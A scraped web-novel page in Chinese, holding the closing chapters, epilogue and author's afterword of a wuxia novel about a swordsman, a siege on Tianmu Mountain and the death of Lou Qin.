而那女子醒来之后,却再也不肯离开。 我说,万诗楼的客房很贵,陆石留下的银子只够她居住三日。 话音刚落,那女子竟然抽泣起来。泪雨沁梨花,楚楚动人。我一时动了恻隐之心,便将那女子暂时留了下来。 那女子告诉我,她叫谢樱,是南朝文豪谢灵运的后人。她父亲与陆石的父亲同朝为官,志趣相投,因此便为陆石与谢樱定下婚约,待二人长成之时,择日晚婚。 陆石是一个痴情武学的人。他很执着,他手中的剑已经占满了他的内心,再不能为别的女人留下半分空间。 可以说,谢樱却比陆石还要执着。她认定了陆石,便不远千里来到洛阳,只为了相伴陆石左右。她相信自己早晚可以打动陆石,她相信会有一天她披上红妆被陆石温柔地揭开红盖。 执着的人是可贵的。 但执着的人却也很痛苦。 陆石走后,谢樱每日必饮桃花醉。桃花不仅醉人,而且还会醉心。她酒醉之后便开始幻想,她说她看到了陆石身披着五彩霞帔,骑着白马来迎她。 那一日,她又喝醉了。 酒醉之后的谢樱提着碧翠的酒壶漫步在诗墙之侧,读着墙上的诗作,带着令人心碎的迷离一般的微笑。 也是在那时,从半面围墙的另一侧站着一个锦衣的男子,他手上摇着一把山河折扇,风流倜傥,气宇轩昂。 锦衣男子正凝视着我的诗文,满脸疑惑,一回头看到了醉眼迷离的谢樱,正冲着他痴痴傻傻地笑。 锦衣男子还未及反应,谢樱却已经扑倒在他的怀里。 那一夜,在谢樱的客房外,我听到了她迷醉的声音。她喊着陆石的名字,但她并不知道,抱着她的确是另外一个男人。 翌日清晨。 无论昨夜是风或雨,无论是谁经历了什么,阳光依旧会如往昔一样撒满 大地。 日上三竿,我仍不见谢樱下楼,开始有些担心她的安危。 我命女婢推开她的房门,片刻之后得到了回复——谢樱已经走了。 那一天,我莫名地空虚。 我突然领悟到,当一件东西,它每日都要在你的生活里出现,或许你并不经意,但当有一天你醒来发现它突然消失了,那种空虚失落的感觉是那么强烈。 我坐在二楼的雅间,看着窗外三个身着奇异的汉子对着一个温文儒雅的书生拳脚相加。 饮一壶桃花醉。 那种空虚和失落的感觉竟然渐渐消失了。 我很惊讶,又饮一壶。 眼前的景象竟然变了。我手提玉壶,摇晃着走下楼。我看见万诗楼的门口,一个相貌惊艳,气质若兰的女子款款走来。 我想去邀她同饮。可刚到门口,却感觉有一阵清冷的风夹着砂砾扑面而来。再睁开眼睛,那女子竟然不见了。 我这才明白谢樱在喝下桃花醉之后,为何会看见陆石。 原来你心里想着的人,真的会在你最迷醉的时候,从你的脑海中站到你的面前。 (本章完) (教育123文学网) 第二百三十三章 终章(下) ()4. 一个时辰可以做什么? 我失落地回到天目山,就像一个传声筒一样,在两个对立的群体间奔走。 司徒清尘等人满脸期待地将我围住:“狗皇帝说什么了?是不是同意撤兵了?” 我看了一眼娄琴,心中万般凄苦。 “你们只有一个时辰的时间了。想想怎么抵御吧。” 所有人的人都陷入了绝望,一大片黑如墨玉的云翳随着天边沉下去的夕阳渐渐笼上了整个天目山。 我望着娄琴。易小心的剑始终不离她的身子,我没有机会,一丝一毫的机会都没有。 这个时候,我才真真切切的感受到,纵使绝世的神功又能如何?我即救不了娄琴,也救不了他们,甚至都救不了自己。 时间就是煎熬,每一刻的流逝都会让一个人陷入疯狂。 忽然,一个身穿慕容山庄服饰的弟子痛哭起来,他提着一柄阔刃的长刀对着一颗大树狂劈乱砍,每一道刀痕都代表了他心里的恐惧。 “娘的!”司徒清尘吼了一声,“横竖都是死,一不做二不休,杀了这女人。” 我霍地站起来,对着司徒清尘冷冷地说:“如果你敢杀她,我现在就杀了你!” 司徒清尘怔了怔,愤愤然坐下。 即便是明知道自己很快就要死了,但面对我的威胁,他依然觉得害怕。人性真是可笑,都说早晚都是一死,然而早一刻与晚一刻之间仍旧横着让人无法抗拒的恐惧。 终于。 天色黑之后,天目山下亮起了一片火光。 那密密麻麻的光点晃动着,几乎把山下照得通明。然而,山上始终都是黑暗,黑暗中的光明是那么炫目,那么灿烂,那么令人渴望。 一声哨箭托着长长的火影飞上天际。 最前面的人惊恐地嘶吼:“杀,杀上来了!” 人群一阵慌乱。我一扭头,正见易小心踮脚望着山下,此时他距离娄琴大约三步之远。我立时抽剑,以迅雷之势闪向娄琴。 易小心慌忙反应,但为时已晚。剑尖儿刚刚转势,被我一剑扫开。 我抓住娄琴,大喊一声:“快跑!” 数十人向我笼来,我一剑横扫,剑气如弯月,将他们震开。 易小心从我身后袭来,直刺我后腰。我转身截断他的攻势,飞起一脚,他躲闪不及,正中他左肋。 情急之下,这一脚几乎用尽力,易小心重伤吐血,伏地不起。 我抓起娄琴,血芒剑一阵乱扫,生生逼出一条路,带着娄琴直冲下天目山。 一眼望不到边的士兵,手持火把向天目山上逼近。那浩如烟海的人潮,任凭是多么锋利的剑刃,多么高强的武功也无法杀出一条血路。 最前面的人手上拉着强弓,一支支箭上跳动着凶恶的火苗。 雁荡山! 我瞬间陷入痛苦的回忆中。那一夜漫天火箭如雨,灵峰寨陷入一片火海,惨叫连连, 如人间地狱。 我浑身抽搐,连一丝力气都使不出来了。 娄琴忽然甩开我的手,站在一块撅起的岩石上冲着浩浩荡荡涌来的人群大喊:“九郎!我在天目山上!九郎!我在天目山上!” “放箭!” 这一声令下无比清晰,接着就是“嗖嗖”的箭划破长空的鸣声。娄琴的呼声淹没在漫天的箭雨声里。 无数道火箭从我身旁穿过。满目都是一闪一闪的火影。 又或者是,我本就是站在火海之中,那些灼热的火焰随时都要穿过我的身体,将我吞噬。 而我,却陷入痛苦,忘了抵抗。 “九郎!我在天目山上!快住手吧!九郎!” 娄琴依旧在喊着。忽然,我看到一道冰冷的剑从她的胸口穿了出来。 娄琴! 我无声地呐喊。 易小心满目狰狞,他手上的剑从娄琴的后背穿过,她的血染红了剑,也染红了我的眼睛。 我挥剑杀向易小心,带着满腔满腔的愤怒。 易小心把剑从娄琴的身体里抽出来,娄琴就像是失去了支撑地枯叶晃晃倒地。 剑光交错,易小心的剑如白蛇吐信,嘶嘶破风,又如游龙穿梭,行走四身。我点剑而起,骤如闪电,剑气破万里,势吞怒气如泣血。 她拼了命要救的人,却在背地里杀了她。 这世间如此地不公平,如此冷漠,如此可笑。 已不知道过了多少招,我和易小心穿梭在如雨点一般密集的火箭里,天目山已化作一片火海,滚滚的浓烟里夹带着漫天的嘶嚎声。 大军仍在逼近。 一只箭射了过来,直直地冲向易小心。 我心中一急,没有任何思考和犹豫,几乎是下意识地挥剑将它挡下。再回头,易小心的剑已经抵在了我胸口。 “为什么?为什么你要救我?!”易小心满脸都是不解。 我说:“我不知道。” “你为什么要回来?”易小心问。 我说:“我也不知道。” 他忽然笑了,他凌厉的剑仿佛是泡了水的纸一样,软了下去,沉了下去。他面如死灰,说:“我终于明白,师父为什么会作出那样的决定了。从前我以为他是私心,现在我明白了,是我们这些人根本就不配。” 我问:“什么意思?” 易小心忽然推了我一把,喊道:“躲开!” 一直箭从我们中间飞了过去。大军已杀到跟前,易小心转身杀入阵中,银剑乱舞,易小心的身影和一片墨影混在了一起,只听见连连的惨叫,只看见溅飞的血光。 我转身冲了进去,与易小心并肩为战,且战且退,片刻之后已是尸堆如山。 那不断涌来的士兵如数不尽的蝼蚁,而我两人就像是求生而发狂的麋鹿,拼尽了身的力气,却杀不尽眼前的蝼蚁。 易小心荡剑横扫,一剑劈开两个士兵的甲胄,鲜红血 洒向空中,又如同血幕一样落下,洒在易小心的脸上,蒙住了他的眼睛。 易小心急忙用早已染红了的衣袖去抹,刚抬起手,一杆长矛如同残忍的毒蛇一样狠狠地咬在易小心的胸口。 一杆长矛抽回,紧着又是十几根长矛从四面八方刺向了易小心。 直到他轰然倒下去的那一刻,他都没有抹去眼前的鲜血,没有机会再看一眼这个残酷的人间。 我斜倚在树上,身的力气已用尽。在我面前已经横了数以千计的尸首。我禁不住一阵阵地发冷,一阵阵地恶心。 纵使你惜命如金,这世间总有人会逼着你忍不住杀了他。 如果你不杀,他们便会杀了你。 而最让人匪夷所思的是,那些喝令他们杀人的人,却永远躲在最安的地方,踩着干净的泥土,不沾染一丝的血腥。 我看着无数刀剑长矛向我杀来,这一次,我真的没有力气了,缓缓地闭上了眼睛...... “住手!” 我听见了柳无风的声音,那声音遥远而凄迷,带着焦急。 我想睁开眼睛,但已经累得连睁眼的力气都没有了,只听见一片杀声毫不停歇地向我冲来。 ...... 后记: 绍兴二十七年。 我挽着小月的手,漫无目的地走在一望无垠的朔北草原上。 那段时日,小月的身体状况急转直下,每日慵慵懒懒,一日有七八个时辰都在睡觉。 我看着她日渐消瘦的模样,忧心如焚。我知道,她或许已经不能陪伴我太久了。 “我累了,想坐一会儿。”小月无力地说。 我扶着她坐在一处矮坡上,柔软的草地像是铺了几层棉被一样,舒服极了。小月慵懒地依在的身上,说:“如果再回到中原,你最想见到谁?” 我望着南方,天际交接处,一道蓝绿相接的长线。我说:“还用问吗?当然是我们的女儿了。” “纾瑶......”小月凄凄的念着她的名字,淡淡一笑,说,“我想,师父一定会待她很好的。”小月像一只温柔的小猫一样,在我身上蹭了蹭,又问:“那你最不想见到谁?” 我想了想,说:“柳无风吧。” “为什么?”小月问。 我说:“因为我怕他向我讨债。” 小月笑了,说:“对啊,你当年还抢了他几十万两银子呢。那可是人家部的身家啊,我想他一定不会放过你的。” 我也笑了,说:“不止是银子,还有这一条命。” (作者说:终于写完了,虽然字数不多,还是有种想哭的感觉。他妈的......七十多万字,觉得真不容易啊。中间经历了那么多曲折,哎,写个完本感言吧......交代一下后事。另外,欢迎各位关注我的微信公众号:苇孜。万诗楼(一)已经看了吧,感觉如何?后续更新在微信公众号上......哈哈......) 完本感言 从2019年7月到2020年2月,不到八个月的时间,七十万字。 在动辄几百万的网文里,这部江湖真的短小,精悍不精悍只能由读者们评价了。但我敲完最后一个字的时候,真的有种被掏空了的感觉。其实这段时间断更得很厉害,因为越接近结尾,越不敢结尾,总担心书里有太多遗憾。 今天,我思前想后,还是决定把终章发出去。因为以前的那些故事已经写了,就是有遗憾也不能强行弥补了。如果有令各位读者不满意的地方,还请谅解,因为这毕竟是我写的第一部完本的,经验不足,能力不济,纵有遗憾也只能说以后努力了。 写到最后,我不评价纵横。但是我还是要感谢一下我的责编炒饭。这书成绩不行,但她还是给我提供了很多资源,就一点我已无可挑剔,只能再次感谢。 此刻回首写书的这段日子,就像做了一场梦一样,在这场梦里,勾勒了一个与我生活毫不相干的故事,认识了一群见都没有见过的朋友。谢谢你们的支持,我想以江湖作为我写作生涯的开端,已经足够满足了。 下一本书想写一个与自己生活相关的,都市的,需要一段时间的构思。因为这本江湖我一直是以意识流的写法坚持到最后,只有一个千字的大纲,没有细纲,吭哧瘪歪地写到最后,好多次累得脑仁都疼。 这一次好好规划一下......希望各位读者继续支持。 另外,再宣传一下,欢迎大家关注我的微信公众号:苇孜。江湖番外万诗楼将在那里继续更新。 《江湖是怎么没的》完本感言 正在手打中,请稍等片刻, 内容更新后,请重新刷新页面,即可获取最新更新!